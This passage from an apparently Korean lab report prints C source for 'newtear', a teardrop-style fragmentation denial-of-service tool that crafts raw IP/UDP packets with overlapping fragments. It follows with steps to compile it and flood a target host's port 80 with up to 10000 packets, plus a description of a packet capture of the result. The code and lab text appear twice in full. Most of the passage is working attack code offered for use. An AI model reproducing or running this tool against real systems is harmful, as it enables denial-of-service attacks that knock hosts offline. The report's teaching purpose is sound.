본문내용
e ((i = getopt(argc, argv, "s:t:n:")) != EOF)
{
switch (i)
{
case 's':
src_prt = (u_short)atoi(optarg);
break;
case 't':
dst_prt = (u_short)atoi(optarg);
break;
case 'n':
count = atoi(optarg);
break;
default :
usage(argv[0]);
break;
}
}
srandom((unsigned)(time((time_t)0)));
if (!src_prt) src_prt = (random() % 0xffff);
if (!dst_prt) dst_prt = (random() % 0xffff);
if (!count) count = COUNT;
fprintf(stderr, "Death on flaxen wings:\n");
addr.s_addr = src_ip;
fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);
addr.s_addr = dst_ip;
fprintf(stderr, " To: %15s.%5d\n", inet_ntoa(addr), dst_prt);
fprintf(stderr, " Amt: %5d\n", count);
fprintf(stderr, "[ ");
for (i = 0; i < count; i++) // 패킷을 정해진 수만큼 상대방에게 전송한다.
{
send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
fprintf(stderr, "b00m ");
usleep(500);
}
fprintf(stderr, "]\n");
return (0);
}
void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
u_short dst_prt)
{
u_char *packet = NULL, *p_ptr = NULL; // 패킷의 포인터.
u_char byte;
struct sockaddr_in sin; // 소켓 프로토콜의 구조.
sin.sin_family = AF_INET;
sin.sin_port = src_prt;
sin.sin_addr.s_addr = dst_ip;
packet = (u_char *)malloc(IPH + UDPH + PADDING);
p_ptr = packet;
bzero((u_char *)p_ptr, IPH + UDPH + PADDING);
byte = 0x45; // ip 버전과 헤더의 길이.
memcpy(p_ptr, &byte, sizeof(u_char));
p_ptr += 2;
*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); // 패킷의 총 길이.
p_ptr += 2;
*((u_short *)p_ptr) = htons(242); // ip 패킷의 아이디.
p_ptr += 2;
*((u_short *)p_ptr) |= FIX(IP_MF); // ip 플래그의 오프셋.
p_ptr += 2;
*((u_short *)p_ptr) = 0x40; // ip TTL.
byte = IPPROTO_UDP;
memcpy(p_ptr + 1, &byte, sizeof(u_char));
p_ptr += 4; // ip 패킷의 체크섬.
*((u_long *)p_ptr) = src_ip; // ip 패킷의 출발지 주소.
p_ptr += 4;
*((u_long *)p_ptr) = dst_ip; // ip 패킷의 목적지 주소.
p_ptr += 4;
*((u_short *)p_ptr) = htons(src_prt); // udp 출발지 포트.
p_ptr += 2;
*((u_short *)p_ptr) = htons(dst_prt); // udp 목적지 포트.
p_ptr += 2;
*((u_short *)p_ptr) = htons(8 + PADDING*2);
if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&sin,
sizeof(struct sockaddr)) == -1)
{
perror("\nsendto");
free(packet);
exit(1);
}
p_ptr = &packet[2]; // ip 헤더의 길이는 2바이트로 규정한다.
*((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
p_ptr += 4;
*((u_short *)p_ptr) = FIX(MAGIC);
if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&sin,
sizeof(struct sockaddr)) == -1)
{
perror("\nsendto");
free(packet);
exit(1);
}
free(packet);
}
..........
void usage(u_char *name) // 사용법에 대한 출력 함수.
{
fprintf(stderr,
"%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",
name);
exit(0);
}
◎ 실습
① 컴파일 한다. (gcc -o newtear newtear.c)
② 실행 파일을 이용하여 공격을 시작한다. 출발지 주소는 “203.252.20.164”, 목적지 주 소는 “203.252.20.163”, 목적 포트는 80번, 공격 횟수는 100번에서 10000번까지 설정을 늘려보았다. 공격을 실행시키면 공격 화면이 나타난다.
◎ 실습 결과
- 다음은 공격 대상 컴퓨터에서 "Ethereal - Network Protocol Analyzer"을 이용하여 패킷 을 캡쳐한 내용이다.
- Source에는 공격자의 IP 번호가 나와 있다.
- Destination에는 공격 대상의 IP 번호인 203.252.20.163이 나와 있다.
- info를 보면 알 수 있듯이 모든 패킷이 동일한 아이디와 크기, 시퀀스 넘버를 가지고 있 는 중첩 공격임을 알 수 있다.
{
switch (i)
{
case 's':
src_prt = (u_short)atoi(optarg);
break;
case 't':
dst_prt = (u_short)atoi(optarg);
break;
case 'n':
count = atoi(optarg);
break;
default :
usage(argv[0]);
break;
}
}
srandom((unsigned)(time((time_t)0)));
if (!src_prt) src_prt = (random() % 0xffff);
if (!dst_prt) dst_prt = (random() % 0xffff);
if (!count) count = COUNT;
fprintf(stderr, "Death on flaxen wings:\n");
addr.s_addr = src_ip;
fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);
addr.s_addr = dst_ip;
fprintf(stderr, " To: %15s.%5d\n", inet_ntoa(addr), dst_prt);
fprintf(stderr, " Amt: %5d\n", count);
fprintf(stderr, "[ ");
for (i = 0; i < count; i++) // 패킷을 정해진 수만큼 상대방에게 전송한다.
{
send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
fprintf(stderr, "b00m ");
usleep(500);
}
fprintf(stderr, "]\n");
return (0);
}
void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
u_short dst_prt)
{
u_char *packet = NULL, *p_ptr = NULL; // 패킷의 포인터.
u_char byte;
struct sockaddr_in sin; // 소켓 프로토콜의 구조.
sin.sin_family = AF_INET;
sin.sin_port = src_prt;
sin.sin_addr.s_addr = dst_ip;
packet = (u_char *)malloc(IPH + UDPH + PADDING);
p_ptr = packet;
bzero((u_char *)p_ptr, IPH + UDPH + PADDING);
byte = 0x45; // ip 버전과 헤더의 길이.
memcpy(p_ptr, &byte, sizeof(u_char));
p_ptr += 2;
*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); // 패킷의 총 길이.
p_ptr += 2;
*((u_short *)p_ptr) = htons(242); // ip 패킷의 아이디.
p_ptr += 2;
*((u_short *)p_ptr) |= FIX(IP_MF); // ip 플래그의 오프셋.
p_ptr += 2;
*((u_short *)p_ptr) = 0x40; // ip TTL.
byte = IPPROTO_UDP;
memcpy(p_ptr + 1, &byte, sizeof(u_char));
p_ptr += 4; // ip 패킷의 체크섬.
*((u_long *)p_ptr) = src_ip; // ip 패킷의 출발지 주소.
p_ptr += 4;
*((u_long *)p_ptr) = dst_ip; // ip 패킷의 목적지 주소.
p_ptr += 4;
*((u_short *)p_ptr) = htons(src_prt); // udp 출발지 포트.
p_ptr += 2;
*((u_short *)p_ptr) = htons(dst_prt); // udp 목적지 포트.
p_ptr += 2;
*((u_short *)p_ptr) = htons(8 + PADDING*2);
if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&sin,
sizeof(struct sockaddr)) == -1)
{
perror("\nsendto");
free(packet);
exit(1);
}
p_ptr = &packet[2]; // ip 헤더의 길이는 2바이트로 규정한다.
*((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
p_ptr += 4;
*((u_short *)p_ptr) = FIX(MAGIC);
if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&sin,
sizeof(struct sockaddr)) == -1)
{
perror("\nsendto");
free(packet);
exit(1);
}
free(packet);
}
..........
void usage(u_char *name) // 사용법에 대한 출력 함수.
{
fprintf(stderr,
"%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",
name);
exit(0);
}
◎ 실습
① 컴파일 한다. (gcc -o newtear newtear.c)
② 실행 파일을 이용하여 공격을 시작한다. 출발지 주소는 “203.252.20.164”, 목적지 주 소는 “203.252.20.163”, 목적 포트는 80번, 공격 횟수는 100번에서 10000번까지 설정을 늘려보았다. 공격을 실행시키면 공격 화면이 나타난다.
◎ 실습 결과
- 다음은 공격 대상 컴퓨터에서 "Ethereal - Network Protocol Analyzer"을 이용하여 패킷 을 캡쳐한 내용이다.
- Source에는 공격자의 IP 번호가 나와 있다.
- Destination에는 공격 대상의 IP 번호인 203.252.20.163이 나와 있다.
- info를 보면 알 수 있듯이 모든 패킷이 동일한 아이디와 크기, 시퀀스 넘버를 가지고 있 는 중첩 공격임을 알 수 있다.
소개글